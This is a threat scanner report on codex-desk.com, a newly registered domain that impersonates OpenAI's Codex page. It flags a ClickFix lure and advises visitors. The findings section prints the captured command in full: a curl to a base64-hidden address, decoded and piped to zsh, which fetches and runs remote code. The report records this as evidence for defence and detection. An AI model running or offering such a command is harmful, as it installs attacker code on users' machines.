Scan report · 20 days agoScanned from TRPublic

codex-desk.com

188.114.97.1AS13335 · US

Suspicious: the page is holding a shell command whose download address is hidden inside base64, in a slot the visitor never sees until a copy button lifts it (ClickFix)

Verdict

4 of 9 enginesMaliciousAutomated

Own this site?

Dangerous — confirmed threat

Automated

Its page title claims to be OpenAI, which this address is not associated with. Its web address was registered only one day before this scan (on 2026-09-13) — most phishing sites run on brand-new domains. It is listed on external threat-intelligence feeds. We found strong evidence that this site is malicious — for example a phishing page, a scam, or hostile code. Treat anything it asked for (passwords, card details, codes) as exposed.

What to do

Do not enter any information or download anything. If you already did, change those passwords now and contact your bank if payment details were involved. Block or report the link to your team.

This reflects the evidence found at the time of the scan. If you believe it is a mistake, you can escalate it for analyst review.

Findings

Strongest first

SupportingClickFix: the page is holding a command that hides the address it downloads from

echo "Downloading Codex https://openai.com/codex" && curl -s $(echo "aHR0cHM6Ly9wbHVtZS1jb21wYXNzLmNvbS9jdXJsL2hkOWN5eWswZWV0L3Zud2hkZTFsdTZ6eDg4M3dncm5kbXAyLnR4dA==" | openssl base64 -d -A) | zsh · script:text/plain

The page carries a shell command in a container the browser neither shows nor runs (a non-executable <script> or a <template>) — the slot a "copy" button lifts from when the visitor opens an install dialog. The command's download address is base64-encoded, so a visitor can read the whole line and still not know what it contacts. Legitimate installers print that address in plain text.

Analyst noteNothing was copied and no gate was passed in this scan — the page was caught HOLDING the command, not delivering it. Decode the base64 to get the stage-2 address, and check whether the same host serves a different page to a non-datacenter visitor.

InfoBrand impersonation detected

OpenAI · medium

The page presents itself as a known brand (brand keywords/branding detected).

Analyst noteLow/medium confidence (keyword only) — can be a news article or partner page. Corroborate before acting.

Infrastructure

IP: 188.114.97.1CLOUDFLARENET - Cloudflare, Inc., US · AS13335US
TLS: CN=YE2, O=Let's Encrypt, C=US · expires Dec 12, 2026

WHOIS

Registrar: NICENIC INTERNATIONAL GROUP CO., LIMITED
Created: Sep 13, 2026
Expires: Sep 13, 2027
Nameservers: janet.ns.cloudflare.comkeaton.ns.cloudflare.com

97 malicious18 suspicious

Hashes & fingerprints

Page Hash6037526a809374347d40aac5f0f9677493bce5f5b5178ff95cc2b459aede5929 DOM Hash430eac1929717baeb5bdae292575ca9bb744823c6d882a42b26d08161187f346 Screenshot pHash9f1f173f02f017c0 JARM27d40d40d00040d1dc42d43d00041d6183ff1bfae51ebd88d70384363d525c JA4Xa373a9f83c6b_7022c563de38_2e3757343cb0 Cert Thumbprint690E0FE983C9C382DAE1408D69BCA3D5EE3C5FD7 Cert IssuerCN=YE2, O=Let's Encrypt, C=US

Page capture

Live

Title “Codex | AI Coding Partner from OpenAI | OpenAI” · brand shown: OpenAI (medium)

Visit Site

Engines

9 · time to verdict